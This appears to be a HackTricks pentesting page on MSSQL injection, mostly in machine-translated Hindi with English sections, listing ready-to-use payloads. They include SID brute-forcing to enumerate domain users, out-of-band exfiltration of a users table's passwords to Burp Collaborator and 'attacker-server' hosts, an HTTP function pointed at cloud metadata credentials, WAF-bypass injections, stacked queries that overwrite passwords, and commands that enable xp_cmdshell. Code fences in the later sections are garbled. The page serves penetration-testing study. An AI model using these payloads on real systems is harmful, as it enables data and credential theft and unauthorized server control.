MSSQL Injection

Support HackTricks

Active Directory enumeration

यह संभव है कि MSSQL सर्वर के अंदर SQL इंजेक्शन के माध्यम से डोमेन उपयोगकर्ताओं को गिनती की जा सके, निम्नलिखित MSSQL फ़ंक्शंस का उपयोग करके:

  • SELECT DEFAULT_DOMAIN(): वर्तमान डोमेन नाम प्राप्त करें।

  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')): यदि आप डोमेन का नाम जानते हैं (DOMAIN इस उदाहरण में) तो यह फ़ंक्शन उपयोगकर्ता Administrator का SID हेक्स प्रारूप में लौटाएगा। यह इस तरह दिखेगा 0x01050000000[...]0000f401, ध्यान दें कि अंतिम 4 बाइट्स संख्या 500 हैं बिग एंडियन प्रारूप में, जो उपयोगकर्ता व्यवस्थापक का सामान्य ID है। यह फ़ंक्शन आपको डोमेन का ID जानने की अनुमति देगा (अंतिम 4 के अलावा सभी बाइट्स)।

  • SUSER_SNAME(0x01050000000[...]0000e803) : यह फ़ंक्शन संकेतित ID का उपयोगकर्ता नाम लौटाएगा (यदि कोई हो), इस मामले में 0000e803 बिग एंडियन == 1000 (आमतौर पर यह पहले नियमित उपयोगकर्ता ID का ID होता है)। फिर आप कल्पना कर सकते हैं कि आप 1000 से 2000 तक उपयोगकर्ता IDs को ब्रूट-फोर्स कर सकते हैं और संभवतः डोमेन के सभी उपयोगकर्ताओं के उपयोगकर्ता नाम प्राप्त कर सकते हैं। उदाहरण के लिए, निम्नलिखित फ़ंक्शन का उपयोग करके:

def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

वैकल्पिक त्रुटि-आधारित वेक्टर

त्रुटि-आधारित SQL इंजेक्शन आमतौर पर ऐसे निर्माणों के समान होते हैं जैसे +AND+1=@@version-- और «OR» ऑपरेटर पर आधारित विविधताएँ। ऐसे अभिव्यक्तियों वाले प्रश्न आमतौर पर WAFs द्वारा अवरुद्ध होते हैं। एक बायपास के रूप में, %2b चर का उपयोग करके एक स्ट्रिंग को जोड़ें, जो विशिष्ट फ़ंक्शन कॉल के परिणाम के साथ डेटा प्रकार रूपांतरण त्रुटि को ट्रिगर करता है।

ऐसे फ़ंक्शनों के कुछ उदाहरण:

  • SUSER_NAME()

  • USER_NAME()

  • PERMISSIONS()

  • DB_NAME()

  • FILE_NAME()

  • TYPE_NAME()

  • COL_NAME()

फ़ंक्शन USER_NAME() का उदाहरण उपयोग:

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

ये SSRF ट्रिक्स यहां से ली गई हैं

fn_xe_file_target_read_file

इसकी आवश्यकता है VIEW SERVER STATE अनुमति सर्वर पर।

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

fn_get_audit_file

यह CONTROL SERVER अनुमति की आवश्यकता है।

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';

fn_trace_gettabe

यह CONTROL SERVER अनुमति की आवश्यकता है।

https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

xp_dirtree, xp_fileexists, xp_subdirs

xp_dirtree जैसी स्टोर की गई प्रक्रियाएँ, हालांकि माइक्रोसॉफ्ट द्वारा आधिकारिक रूप से दस्तावेजित नहीं की गई हैं, लेकिन उनकी उपयोगिता के कारण अन्य लोगों द्वारा ऑनलाइन वर्णित की गई हैं। ये प्रक्रियाएँ अक्सर नेटवर्क संचालन में उपयोग की जाती हैं MSSQL के भीतर। इन प्रक्रियाओं का उपयोग अक्सर आउट ऑफ बैंड डेटा एक्सफिल्ट्रेशन में किया जाता है, जैसा कि विभिन्न उदाहरणों और पोस्टों में प्रदर्शित किया गया है।

उदाहरण के लिए, xp_dirtree स्टोर की गई प्रक्रिया का उपयोग नेटवर्क अनुरोध करने के लिए किया जाता है, लेकिन यह केवल TCP पोर्ट 445 तक सीमित है। पोर्ट नंबर को संशोधित नहीं किया जा सकता, लेकिन यह नेटवर्क शेयर से पढ़ने की अनुमति देता है। उपयोग को नीचे दिए गए SQL स्क्रिप्ट में प्रदर्शित किया गया है:

DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');

यह ध्यान देने योग्य है कि यह विधि सभी सिस्टम कॉन्फ़िगरेशन पर काम नहीं कर सकती, जैसे कि Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) जो Windows Server 2016 Datacenter पर डिफ़ॉल्ट सेटिंग्स के साथ चल रहा है।

इसके अतिरिक्त, master..xp_fileexist और xp_subdirs जैसी वैकल्पिक स्टोर की गई प्रक्रियाएँ हैं जो समान परिणाम प्राप्त कर सकती हैं। xp_fileexist पर और विवरण इस TechNet लेख में पाया जा सकता है।

xp_cmdshell

स्पष्ट रूप से आप xp_cmdshell का उपयोग करके कुछ ऐसा निष्पादित कर सकते हैं जो SSRF को ट्रिगर करता है। अधिक जानकारी के लिए पृष्ठ में संबंधित अनुभाग पढ़ें:

1433 - Pentesting MSSQL - Microsoft SQL Server

MSSQL उपयोगकर्ता परिभाषित फ़ंक्शन - SQLHttp

CLR UDF (कॉमन लैंग्वेज रनटाइम यूजर डिफाइंड फ़ंक्शन) बनाना, जो किसी भी .NET भाषा में लिखा गया कोड है और DLL में संकलित किया गया है, जिसे कस्टम फ़ंक्शंस को निष्पादित करने के लिए MSSQL के भीतर लोड किया जाना है, एक प्रक्रिया है जो dbo एक्सेस की आवश्यकता होती है। इसका मतलब है कि यह आमतौर पर केवल तब संभव है जब डेटाबेस कनेक्शन sa के रूप में या एक व्यवस्थापक भूमिका के साथ बनाया गया हो।

इस बाइनरी को MSSQL में CLR असेंबली के रूप में लोड करने की सुविधा के लिए इस Github रिपॉजिटरी में एक Visual Studio प्रोजेक्ट और स्थापना निर्देश प्रदान किए गए हैं, जिससे MSSQL के भीतर HTTP GET अनुरोधों को निष्पादित करना संभव हो जाता है।

इस कार्यक्षमता का मूल http.cs फ़ाइल में संकुचित है, जो GET अनुरोध को निष्पादित करने और नीचे दिखाए अनुसार सामग्री प्राप्त करने के लिए WebClient वर्ग का उपयोग करती है:

using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}

CREATE ASSEMBLY SQL कमांड को निष्पादित करने से पहले, सर्वर की विश्वसनीय असेंबली की सूची में असेंबली के SHA512 हैश को जोड़ने के लिए निम्नलिखित SQL स्निपेट चलाने की सलाह दी जाती है (जिसे select * from sys.trusted_assemblies; के माध्यम से देखा जा सकता है):

EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

सफलतापूर्वक असेंबली जोड़ने और फ़ंक्शन बनाने के बाद, HTTP अनुरोध करने के लिए निम्नलिखित SQL कोड का उपयोग किया जा सकता है:

DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

त्वरित शोषण: एकल क्वेरी में पूरी तालिका की सामग्री प्राप्त करना

यहां से चाल

एकल क्वेरी में तालिका की पूरी सामग्री निकालने के लिए एक संक्षिप्त विधि FOR JSON क्लॉज का उपयोग करना है। यह दृष्टिकोण FOR XML क्लॉज की तुलना में अधिक संक्षिप्त है, जिसे "raw" जैसे विशेष मोड की आवश्यकता होती है। संक्षिप्तता के लिए FOR JSON क्लॉज को प्राथमिकता दी जाती है।

यहां वर्तमान डेटाबेस से स्कीमा, तालिकाओं और कॉलमों को प्राप्त करने का तरीका है:

https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:

```sql
```markdown
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--

### Retrieving the Current Query

[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).

For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:

```sql
```markdown
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null

To check if you have the VIEW SERVER STATE permission, the following query can be used:

```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

Little tricks for WAF bypasses

Tricks also from here

Non-standard whitespace characters: %C2%85 или %C2%A0:

```markdown
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--

Scientific (0e) and hex (0x) notation for obfuscating UNION:

https://vuln.app/getItem?id=0eunion+select+null,@@version,null--

https://vuln.app/getItem?id=0xunion+select+null,@@version,null--


A period instead of a whitespace between FROM and a column name:

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--


\N separator between SELECT and a throwaway column:

https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--


### WAF Bypass with unorthodox stacked queries

According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":

```sql
SELECT 'a' SELECT 'b'

So for example, multiple queries such as:

use [tempdb]  
create table [test] ([id] int)  
insert [test] values(1)  
select [id] from [test]  
drop table[test]

Can be reduced to:

use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]

Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:

# अंत में एक बेकार exec() जोड़ना और WAF को यह सोचने पर मजबूर करना कि यह एक मान्य क्वेरी नहीं है
admina'union select 1,'admin','testtest123'exec('select 1')--
## यह होगा:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'

# अजीब तरीके से बनाए गए क्वेरी का उपयोग करना
admin'exec('update[users]set[password]=''a''')--
## यह होगा:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'

# या xp_cmdshell को सक्षम करना
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## यह होगा
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--

References

Support HackTricks

Last updated